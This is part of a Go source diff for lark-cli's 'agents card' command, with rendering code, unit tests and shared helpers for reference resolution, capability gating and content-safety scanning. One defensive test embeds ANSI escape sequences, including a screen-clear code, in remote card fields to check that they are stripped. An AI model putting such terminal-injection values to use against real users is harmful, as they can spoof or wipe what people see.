var rt iagents.Runtime
if r, rerr := runtimeFor(f, id, agentID, nil); rerr == nil {
rt = r
}
card := iagents.BuildCard(opts.Cmd.Context(), prov, spec, agentID, resolvedBrand(f), rt)
jq := jqExpr(opts.Cmd)
// pretty is a human view only; a --jq expression implies structured JSON,
// so it takes precedence over the pretty format.
if opts.Format == "pretty" && jq == "" {
printCardPretty(f.IOStreams.Out, card)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: card,
Notice: output.GetNotice(),
}
if jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// operationContract is one operation's parameter contract in `card
// --operation` output. Parameters is always an array (empty is [], never
// null); Command is the human command shape (a template, never executable
// verbatim) and is omitted for unwired operations.
type operationContract struct {
Operation string `json:"operation"`
Supported bool `json:"supported"`
Command string `json:"command,omitempty"`
Parameters []iagents.CardParam `json:"parameters"`
// ParametersSource is "template" on instance providers (both the single-verb
// and the all forms), mirroring the lean card's honesty label.
ParametersSource string `json:"parameters_source,omitempty"`
}
// contractFor projects one OpInfo into its output contract.
func contractFor(o iagents.OpInfo) operationContract {
c := operationContract{Operation: o.Verb, Supported: o.Wired, Parameters: []iagents.CardParam{}}
if o.Wired {
c.Command = verbCommandTemplate[o.Verb]
if o.Params != nil {
c.Parameters = o.Params
}
}
return c
}
// agentCardOperationRun serves `card --operation <verb|all>`: the parameter
// contract subquery. Everything is offline static data. Edge behaviors are
// deterministic: an unknown verb is invalid_argument listing the vocabulary;
// an unwired verb answers supported:false; a wired zero-param verb answers
// supported:true + parameters:[] ("nothing to pass" — not "not found").
func agentCardOperationRun(opts *cardOptions, prov iagents.Provider, spec *iagents.AgentSpec, id core.Identity) error {
f := opts.Factory
verb := opts.Operation
var data any
var prettyFn func(io.Writer)
if verb == "all" {
all := map[string]operationContract{}
for _, o := range spec.Ops() {
all[o.Verb] = contractFor(o)
}
if prov.Kind() == iagents.KindInstance {
data = map[string]any{"operations": all, "parameters_source": "template"}
} else {
data = map[string]any{"operations": all}
}
prettyFn = func(w io.Writer) {
for _, o := range spec.Ops() {
printOperationPretty(w, contractFor(o))
}
}
} else {
o, ok := spec.Op(verb)
if !ok {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知操作 %q合法值: %s, all", verb, strings.Join(iagents.Verbs(), ", ")).
WithParam("--operation").
WithHint("--operation 的合法动词见 message 列表(即 8 个操作名capabilities 里的 file_input/input_required 是行为位、不是动词all 一次拿全")
}
c := contractFor(o)
if prov.Kind() == iagents.KindInstance {
c.ParametersSource = "template" // struct 复用:不为 unwired 操作凭空造出 command:"" 键
}
data = c
prettyFn = func(w io.Writer) { printOperationPretty(w, c) }
}
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
prettyFn(f.IOStreams.Out)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: data,
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// printOperationPretty renders one operation contract as a human block.
func printOperationPretty(w io.Writer, c operationContract) {
if !c.Supported {
fmt.Fprintf(w, "operation: %s (不支持)\n", c.Operation)
return
}
fmt.Fprintf(w, "operation: %s\n", c.Operation)
if c.Command != "" {
fmt.Fprintf(w, " command: %s\n", c.Command)
}
if len(c.Parameters) == 0 {
fmt.Fprintln(w, " parameters: (无业务参数)")
return
}
fmt.Fprintln(w, " parameters:")
for _, p := range c.Parameters {
printParamPretty(w, p)
}
}
// printParamPretty renders one declaration: the familiar "name: type
// (required) — desc" first line plus an attribute line (enum / range /
// default) when present. Desc/enum are provider-authored strings → stripANSI.
func printParamPretty(w io.Writer, p iagents.CardParam) {
req := ""
if p.Required {
req = " (required)"
}
fmt.Fprintf(w, " %s: %s%s", p.Name, p.Type, req)
if p.Desc != "" {
fmt.Fprintf(w, " — %s", stripANSI(p.Desc))
}
fmt.Fprintln(w)
var attrs []string
if len(p.Enum) > 0 {
attrs = append(attrs, "取值: "+stripANSI(strings.Join(p.Enum, " | ")))
}
if p.Min != nil || p.Max != nil {
attrs = append(attrs, "范围: "+rangePretty(p))
}
if p.Default != "" {
attrs = append(attrs, "默认: "+stripANSI(p.Default))
}
if p.NoCarry {
attrs = append(attrs, "不入链传(每次调用给新值)")
}
if len(attrs) > 0 {
fmt.Fprintf(w, " %s\n", strings.Join(attrs, " · "))
}
// object叶子逐个缩进渲染点路径写法直接可见
for _, f := range p.Fields {
leaf := f
leaf.Name = p.Name + "." + f.Name
fmt.Fprint(w, " ")
printParamPretty(w, leaf)
}
}
// rangePretty renders Min/Max for the pretty view.
func rangePretty(p iagents.CardParam) string {
trim := func(f float64) string { return strings.TrimRight(strings.TrimRight(fmt.Sprintf("%f", f), "0"), ".") }
switch {
case p.Min != nil && p.Max != nil:
return trim(*p.Min) + ".." + trim(*p.Max)
case p.Min != nil:
return ">=" + trim(*p.Min)
default:
return "<=" + trim(*p.Max)
}
}
// printCardPretty writes a compact human-readable view of the lean card:
// identity header (with per-identity preconditions), the sorted capability
// matrix, the has_parameters cue and declared skills. Remote cards carry
// agent-controlled Name/Description strings, so every such field is
// ANSI-stripped before hitting the terminal. Nil cards degrade to a
// placeholder line rather than panicking.
func printCardPretty(w io.Writer, card *iagents.AgentCard) {
if card == nil {
fmt.Fprintln(w, "(no card)")
return
}
// Dynamic cards carry a Name; static cards fall back to the provider label.
name := card.Name
if name == "" {
name = card.ProviderLabel
}
fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
if card.Description != "" {
fmt.Fprintf(w, " %s\n", stripANSI(card.Description))
}
if len(card.Identity) > 0 {
ids := make([]string, 0, len(card.Identity))
for _, spec := range card.Identity {
id := string(spec.Type)
if spec.Precondition != "" {
id += "(前置: " + stripANSI(spec.Precondition) + ""
}
ids = append(ids, id)
}
fmt.Fprintf(w, " identity: %s\n", strings.Join(ids, ", "))
}
fmt.Fprintln(w, " capabilities:")
// Capabilities is a closed struct; iterate in fixed alphabetical key order.
keys := []string{
iagents.CapArtifactDownload,
iagents.CapContextDelete,
iagents.CapContextGet,
iagents.CapContextList,
iagents.CapFileInput,
iagents.CapInputRequired,
iagents.CapTaskCancel,
iagents.CapTaskGet,
iagents.CapTaskList,
}
sort.Strings(keys)
for _, k := range keys {
mark := "no"
if card.Supports(k) {
mark = "yes"
}
fmt.Fprintf(w, " %-20s %s\n", k, mark)
}
if len(card.HasParameters) > 0 {
fmt.Fprintf(w, " parameters: %s\n", strings.Join(card.HasParameters, ", "))
fmt.Fprintf(w, " (用 --operation <verb> 查看详情,如: lark-cli agents card %s --operation %s\n",
safeRefOrPlaceholder(card), card.HasParameters[0])
}
if card.ParametersSource != "" {
fmt.Fprintf(w, " parameters_source: %s模板级声明具体 agent 以平台为准)\n", card.ParametersSource)
}
if len(card.Skills) > 0 {
fmt.Fprintln(w, " skills:")
for _, sk := range card.Skills {
name := sk.Name
if name == "" {
name = sk.ID
}
fmt.Fprintf(w, " %s\n", stripANSI(name))
}
}
}
// safeRefOrPlaceholder reconstructs the card's ref for the pretty hint when it
// passes the interpolation whitelist, else a placeholder.
func safeRefOrPlaceholder(card *iagents.AgentCard) string {
ref := card.Provider + ":" + card.AgentID
if safeNextRef(ref) {
return ref
}
return "<agent_ref>"
}

287
cmd/agents/card_test.go Normal file
View File

@@ -0,0 +1,287 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"bytes"
"context"
"encoding/json"
"strings"
"testing"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// cardTestOpts builds a cardOptions driving agentCardRun against a real
// (test) Factory. The example card is synthesized statically, so no API call
// is made and stdout carries the capability card envelope.
func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
t.Helper()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
}
// TestAgentCardRun_ExampleStaticCard verifies that `agents card example:echo`
// returns the statically synthesized capability card (no API), with
// task_cancel gated off and the three context_* caps on, and the agent_id
// echoed from the ref.
func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card should be statically synthesized and not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v", err)
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
data, ok := env.Data.(map[string]interface{})
if !ok {
t.Fatalf("data should be a card object, got %T", env.Data)
}
if data["agent_id"] != "echo" {
t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
}
if data["provider"] != "example" {
t.Errorf("provider should be example, got %v", data["provider"])
}
// source was removed from the card (schema tightening).
if _, present := data["source"]; present {
t.Errorf("card should no longer carry a source field, got %v", data["source"])
}
caps, ok := data["capabilities"].(map[string]interface{})
if !ok {
t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
}
if caps["task_cancel"] != false {
t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
}
if caps["context_list"] != true || caps["context_get"] != true || caps["context_delete"] != true {
t.Errorf("echo should support the three context capabilities, got %v", caps)
}
// The lean card embeds NO parameter details; has_parameters is the always-
// emitted (non-null) cue. echo declares no params ⇒ []; the old parameters
// field must be gone entirely.
if hp, ok := data["has_parameters"].([]interface{}); !ok {
t.Errorf("has_parameters should be a non-null array, got %T (%v)", data["has_parameters"], data["has_parameters"])
} else if len(hp) != 0 {
t.Errorf("echo has_parameters should be empty, got %v", hp)
}
if _, present := data["parameters"]; present {
t.Errorf("the lean card must not embed a parameters field (use --operation), got %v", data["parameters"])
}
if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
}
// card no longer exposes scope: the required_scopes field was removed from
// AgentCard (scope is an internal registration item used only for preflight).
if _, present := data["required_scopes"]; present {
t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
}
}
// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
// since the json default flip), the card renders as a human-readable listing.
// The output must surface the identity and capability names in plain text so
// the stream is not valid envelope JSON.
func TestAgentCardRun_PrettyFormat(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
opts.Format = "pretty"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card pretty should not error: %v", err)
}
text := string(out.Bytes())
// A pretty rendering is human text, not a JSON envelope.
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
}
if !strings.Contains(text, "echo") {
t.Errorf("pretty output should contain agent_id: %s", text)
}
// context_list is a declared capability of the echo card; it must appear.
if !strings.Contains(text, "context_list") {
t.Errorf("pretty output should list capabilities: %s", text)
}
}
// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
func TestAgentCardRun_JSONFormat(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
opts.Format = "json"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card json should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
}
// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
// --jq flag must actually be REGISTERED on `agents card` (the run path already
// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
// the real command so registration + consumption are proven together.
func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := NewCmdAgentCard(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetContext(context.Background())
cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
if err := cmd.Execute(); err != nil {
t.Fatalf("card --jq should not error: %v", err)
}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
got := strings.TrimSpace(string(out.Bytes()))
if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
}
}
// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
// line instead of panicking (card.go nil branch).
func TestPrintCardPretty_NilCard(t *testing.T) {
out := &bytes.Buffer{}
printCardPretty(out, nil)
if !strings.Contains(out.String(), "(no card)") {
t.Errorf("nil card should print a placeholder line, got: %q", out.String())
}
}
// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
// the pretty renderer that a minimal static card omits: the dynamic-card Name
// (taking precedence over ProviderLabel), Description, declared Parameters, and
// the Skills block (both the named skill and the id-fallback when Name is empty).
func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
card := &iagents.AgentCard{
Provider: "demo",
ProviderLabel: "demo 自定义智能体",
Name: "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
AgentID: "agt_demo",
Description: "a helpful demo agent",
Identity: []iagents.IdentitySpec{
{Type: "user"},
{Type: "bot", Precondition: "需加入渠道白名单"},
},
Capabilities: iagents.Capabilities{
ContextList: true,
TaskCancel: false,
},
HasParameters: []string{"send"},
Skills: []iagents.CardSkill{
{ID: "sk_1", Name: "Sales Analysis"},
{ID: "sk_2"}, // no Name → falls back to ID
},
}
out := &bytes.Buffer{}
printCardPretty(out, card)
text := out.String()
for _, want := range []string{
"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
"a helpful demo agent", // Description branch
"identity: user, bot", // IdentitySpec types are joined
"需加入渠道白名单", // identity precondition must be visible in pretty (Task 11 wrap-up)
"parameters: send", // has_parameters cue + --operation pointer
"skills:", // Skills block header
"Sales Analysis", // skill with a Name
"sk_2", // skill without a Name → id fallback
} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
}
// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
// agent-controlled Name/Description cannot smuggle ANSI escapes to the
// terminal (this sanitization is applied to every pretty surface).
func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
card := &iagents.AgentCard{
Provider: "demo",
AgentID: "agt_demo",
Name: "\x1b[31mEvil\x1b[0m Agent",
Description: "desc\x1b[2Jwipe",
}
out := &bytes.Buffer{}
printCardPretty(out, card)
text := out.String()
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
}
if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
t.Errorf("readable text should remain after stripping, got: %q", text)
}
}
// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
// (no dynamic Name) renders its ProviderLabel as the header.
func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
card := &iagents.AgentCard{
Provider: "demo",
ProviderLabel: "demo 自定义智能体",
AgentID: "agt_demo",
}
out := &bytes.Buffer{}
printCardPretty(out, card)
if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
}
}
// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
// before any provider is built.
func TestAgentCardRun_InvalidRef(t *testing.T) {
opts, _ := cardTestOpts(t, "no-colon")
if err := agentCardRun(opts); err == nil {
t.Fatal("malformed ref should error")
}
}
// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
// presence of --format and --as flags.
func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
cmd := NewCmdAgentCard(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("agents card should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("agents card missing ref should report an argument error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("agents card with a single ref should be valid: %v", err)
}
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Fatal("agents card should have a --format flag")
}
// Default output format is unified: card default flips from pretty to json.
if fl.DefValue != "json" {
t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
}
if cmd.Flags().Lookup("as") == nil {
t.Error("agents card should have an --as flag")
}
}

492
cmd/agents/common.go Normal file
View File

@@ -0,0 +1,492 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package agent implements the `agent` command tree: a provider-agnostic
// surface over remote A2A agents. This file holds the shared
// command-layer helpers: ref→provider resolution, --param validation against a
// Card, success-envelope emission, capability gating, and wait/watch polling.
package agents
import (
"context"
"errors"
"fmt"
"io"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// supportedIdentities is the identity whitelist enforced for every agent
// command; provider cards advertise (a subset of) the same set.
var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
// until ctx is done, returning true if the full duration elapsed and false if
// ctx was canceled first. Tests swap it for a no-op.
var sleep = func(ctx context.Context, d time.Duration) bool {
t := time.NewTimer(d)
defer t.Stop()
select {
case <-t.C:
return true
case <-ctx.Done():
return false
}
}
// resolveSpec is the fully-offline resolution path: it resolves the effective
// identity, enforces the user|bot whitelist, and looks up the AgentSpec
// addressed by ref — WITHOUT constructing a client or touching the network. It
// is the FIRST step of every verb, so a malformed ref, an unknown scheme /
// unknown catalog id, AND a capability gate all surface at exit 2 BEFORE the
// config gate — an unconfigured user still gets the precise error, not
// not_configured. A real API verb then calls runtimeFor to build the client.
func resolveSpec(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (iagents.Provider, *iagents.AgentSpec, string, core.Identity, error) {
id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
return iagents.Provider{}, nil, "", "", err
}
prov, spec, agentID, err := iagents.LookupSpec(ref)
if err != nil {
// ParseRef / unknown-scheme / unknown-id errors carry the validation
// wording; promote them to a typed validation error (with a recovery hint)
// so RunE never returns a bare error and the exit code / subtype are stable.
return iagents.Provider{}, nil, "", "", wrapRefResolveError(err)
}
return prov, spec, agentID, id, nil
}
// runtimeFor builds the identity-pinned Runtime for a verb that actually calls
// the remote API. It requires a configured client (not_configured / exit 3 here
// is correct for a real API call). agentID is the resolved agent this call
// addresses (from the ref), exposed to hooks via rt.AgentID(); params is the
// validated business-parameter map (defaults backfilled) exposed via
// rt.Params() — pass nil on paths that carry no business params (card's
// Describe enrichment).
func runtimeFor(f *cmdutil.Factory, id core.Identity, agentID string, params map[string]string) (iagents.Runtime, error) {
apiClient, err := f.NewAPIClient()
if err != nil {
return nil, err
}
return &cmdRuntime{client: apiClient, as: id, agentID: agentID, params: params}, nil
}
// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
// validation typed error (subtype invalid_argument, exit 2) and attaches the
// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
// shape; an unknown scheme points at `agents list` to discover the available
// providers. Both hints are copy-pasteable next steps, not just wording.
func wrapRefResolveError(err error) error {
// LookupSpec's unknown-catalog-id case is ALREADY a typed validation error
// carrying a scheme-scoped hint (`agents list <scheme>`); pass it through
// instead of flattening it via err.Error() and overwriting that hint with the
// generic provider-list one. Only the untyped ParseRef sentinel / unknown-
// scheme errors need wrapping.
if _, ok := errs.ProblemOf(err); ok {
return err
}
e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
if errors.Is(err, iagents.ErrInvalidRef) {
return e.WithHint("agent_ref 形如 <scheme>:<agent_id>,如 example:echo")
}
return e.WithHint("用 lark-cli agents list 查看可用 provider")
}
// cardHint builds the "check the agent card" hint. The ref is user-echoed
// input: when it passes the safeNextRef whitelist the hint carries the
// copy-pasteable command; otherwise it degrades to plain guidance without any
// interpolated command (a ref containing spaces would make the command
// non-copy-pasteable, and the hint is what an AI copies verbatim).
func cardHint(ref, what string) string {
if safeNextRef(ref) {
return fmt.Sprintf("运行 lark-cli agents card %s 查看%s", ref, what)
}
return fmt.Sprintf("查看该 agent 的能力卡片agents card 命令)确认%s", what)
}
// emitTask writes a task result: the standard success envelope carrying
// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
// the key:value human view. Because the agent's messages/artifacts are
// untrusted external content, the payload is run through content-safety
// scanning before emission on BOTH paths (and the pretty path additionally
// ANSI-strips agent text). A --jq expression, when the leaf command registers
// one, implies structured JSON and filters stdout.
func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagents.AgentTask, next []output.NextAction, format string, notices ...string) error {
out := f.IOStreams.Out
errOut := f.IOStreams.ErrOut
scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
if scan.Blocked {
return scan.BlockErr
}
// Normalization notices (provider contract defects, §3.2) must be visible on
// BOTH surfaces: stderr for humans, envelope _notice for the JSON consumer.
var defect string
for _, n := range notices {
if n != "" {
defect = n
fmt.Fprintf(errOut, "notice: %s\n", n)
}
}
if format == "pretty" && jqExpr(cmd) == "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
printTaskPretty(out, task)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: task,
Notice: output.GetNotice(),
}
if defect != "" {
if env.Notice == nil {
env.Notice = map[string]interface{}{}
}
env.Notice["provider_defect"] = defect
}
if len(next) > 0 {
// Identity carry follows the CLI-family convention (shortcuts never pin
// --as into suggested commands): only when the caller EXPLICITLY passed
// --as does the suggestion carry the resolved identity — an explicit
// non-default identity would otherwise fall back to the default on
// verbatim replay and look up another principal's task store. An
// implicit (default/auto) identity stays unpinned: the next command
// re-resolves to the same answer in the same environment. Only
// agent-subtree commands take --as (auth login does not).
carryAsIntoNext(cmd, f, next)
env.Meta = &output.Meta{Next: next}
}
if scan.Alert != nil {
env.ContentSafetyAlert = scan.Alert
}
if jq := jqExpr(cmd); jq != "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
return output.JqFilter(out, env, jq)
}
output.PrintJson(out, env)
return nil
}
// scanAndEmitData is the shared scan-then-emit path for the read leaves whose
// payload now carries untrusted agent-authored text — task list
// (TaskSummary.Summary), context list, and context get
// (ContextDetail.ActiveTask.Summary). These used to PrintJson directly and so
// BYPASSED content-safety; like emitTask they now run output.ScanForSafety on
// the payload BEFORE emission on every path: a block returns the typed block
// error, a warn attaches the alert to the JSON envelope (and prints a stderr
// warning on the pretty / jq paths). data is the Envelope.Data payload (and what
// is scanned); meta is an optional *output.Meta (list count, nil for a single
// detail); pretty renders the --format pretty human view and is skipped when a
// --jq expression forces structured JSON.
func scanAndEmitData(f *cmdutil.Factory, cmd *cobra.Command, format string, data any, meta *output.Meta, pretty func(io.Writer)) error {
out := f.IOStreams.Out
errOut := f.IOStreams.ErrOut
scan := output.ScanForSafety(cmd.CommandPath(), data, errOut)
if scan.Blocked {
return scan.BlockErr
}
if format == "pretty" && jqExpr(cmd) == "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
pretty(out)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: data,
Meta: meta,
Notice: output.GetNotice(),
}
if scan.Alert != nil {
env.ContentSafetyAlert = scan.Alert
}
if jq := jqExpr(cmd); jq != "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
return output.JqFilter(out, env, jq)
}
output.PrintJson(out, env)
return nil
}
// jqExpr reads the --jq flag value if the leaf command registered one; absent
// otherwise.
func jqExpr(cmd *cobra.Command) string {
if cmd == nil { // options structs built directly in tests may carry no Cmd
return ""
}
if f := cmd.Flags().Lookup("jq"); f != nil {
return f.Value.String()
}
return ""
}
// resolvedBrand returns the brand the agent commands filter/gate against: the
// logged-in account's Config().Brand when Config resolves and is non-empty,
// else BrandFeishu (the offline/unconfigured default, consistent with
// core.ParseBrand mapping unknown→feishu). It is nil-safe (a nil Factory or a
// nil Config hook yields feishu), so the offline gates hold before config init.
func resolvedBrand(f *cmdutil.Factory) core.LarkBrand {
if f == nil || f.Config == nil {
return core.BrandFeishu
}
cfg, err := f.Config()
if err != nil || cfg == nil || cfg.Brand == "" {
return core.BrandFeishu
}
return cfg.Brand
}
// unavailableForBrandError returns the unavailable_for_brand validation error
// (exit 2) — the brand sibling of capabilityError. `what` is the human-facing
// capability name (e.g. "task cancel"); an empty `what` is the whole-agent case
// ("agent '<ref>' is not available under <brand>"). The hint points at the card
// for the current brand (cardHint interpolates ref only when it is whitelisted).
func unavailableForBrandError(ref, what string, brand core.LarkBrand) error {
var msg string
if what == "" {
msg = fmt.Sprintf("agent '%s' 在 %s 品牌下不可用", ref, brand)
} else {
msg = fmt.Sprintf("agent '%s' 的 '%s' 在 %s 品牌下不可用", ref, what, brand)
}
return errs.NewValidationError(errs.SubtypeUnavailableForBrand, "%s", msg).
WithHint("%s", cardHint(ref, "当前品牌支持的能力"))
}
// brandGate is the whole-agent brand visibility gate: a spec whose declared
// Brands exclude the resolved brand returns unavailable_for_brand (exit 2,
// offline) before any network call. Placed right after the capability/offline
// gates in every verb path.
func brandGate(f *cmdutil.Factory, spec *iagents.AgentSpec, ref string) error {
if brand := resolvedBrand(f); !iagents.SpecAvailableForBrand(spec, brand) {
return unavailableForBrandError(ref, "", brand)
}
return nil
}
// opBrandGate is the per-capability brand gate: a WIRED op whose declared Brands
// exclude the resolved brand returns unavailable_for_brand (exit 2, offline).
// `what` is the human capability name. It assumes the whole-agent gate (brandGate)
// already passed. Core ops (Send/GetTask) normally declare no Brands, so this is
// a no-op for them unless a provider scopes them explicitly.
func opBrandGate(f *cmdutil.Factory, brands []core.LarkBrand, ref, what string) error {
if brand := resolvedBrand(f); !iagents.OpAvailableForBrand(brands, brand) {
return unavailableForBrandError(ref, what, brand)
}
return nil
}
// capabilityError returns the unsupported_capability validation error (exit 2)
// used for capability gating: capHuman is the human-facing action (e.g.
// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
// interpolates ref only when it passes the whitelist (cardHint).
func capabilityError(ref, capHuman, capKey string) error {
return errs.NewValidationError(
errs.SubtypeUnsupportedCapability,
"agent '%s' 不支持 '%s'capability %s=false", ref, capHuman, capKey,
).WithHint("%s", cardHint(ref, "支持的能力"))
}
// normalizeTask canonicalizes a provider task the moment it enters the command
// layer: IsTerminal is re-derived from State (the single source of truth, so a
// provider that mis-fills the flag can never skew watch exit codes or an AI
// caller's stop-polling decision), and the input_required question group runs
// the central §3.2 normalization (size caps, empty options → absent, bare
// prompt → one ordinary free-text question, non-conforming keys → whole-group
// degrade). The returned notice — a provider defect worth seeing — must reach
// the caller's output surface (emitTask routes it into the JSON envelope
// _notice and onto stderr for pretty) instead of being silently smoothed over.
// nil-safe.
func normalizeTask(t *iagents.AgentTask) (notice string) {
if t == nil {
return ""
}
t.IsTerminal = t.State.IsTerminal()
return iagents.NormalizeInputRequired(t)
}
// normalizeTaskSummaries derives IsTerminal from State for every summary (same
// single-source rule as normalizeTask), returning the slice for chaining.
func normalizeTaskSummaries(ts []iagents.TaskSummary) []iagents.TaskSummary {
for i := range ts {
ts[i].IsTerminal = ts[i].State.IsTerminal()
}
return ts
}
// pollToStop polls getTask with exponential backoff (1s → 5s cap) until the
// task hits a stop condition (terminal, input_required, or auth_required)
// or ctx is done. A timeout is not a failure: it returns the most recent
// task with a nil error, letting the caller print the current state (exit 0). A
// provider GetTask error is surfaced. getTask is a bound closure over the
// resolved spec + runtime (spec.GetTask(ctx, rt, id)), so pollToStop stays
// provider-neutral and testable.
func pollToStop(ctx context.Context, getTask func(context.Context, string) (*iagents.AgentTask, error), taskID string) (*iagents.AgentTask, error) {
const (
initialDelay = time.Second
maxDelay = 5 * time.Second
)
var last *iagents.AgentTask
delay := initialDelay
for {
task, err := getTask(ctx, taskID)
if err != nil {
return last, err
}
last = task
if task.State.ShouldStopPolling() {
return task, nil
}
if ctx.Err() != nil {
return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
}
if !sleep(ctx, delay) {
// ctx canceled during backoff → observation window closed, not a
// task failure.
return last, nil
}
if delay < maxDelay {
if delay *= 2; delay > maxDelay {
delay = maxDelay
}
}
}
}
// semanticExitError maps a wait/watch terminal task to the semantic exit code:
// a non-successful terminal state (failed/rejected/canceled) yields a
// silent exit-1 signal; any other state (including a successful terminal or a
// non-terminal stop like input_required) yields nil. A nil task yields nil.
func semanticExitError(task *iagents.AgentTask) error {
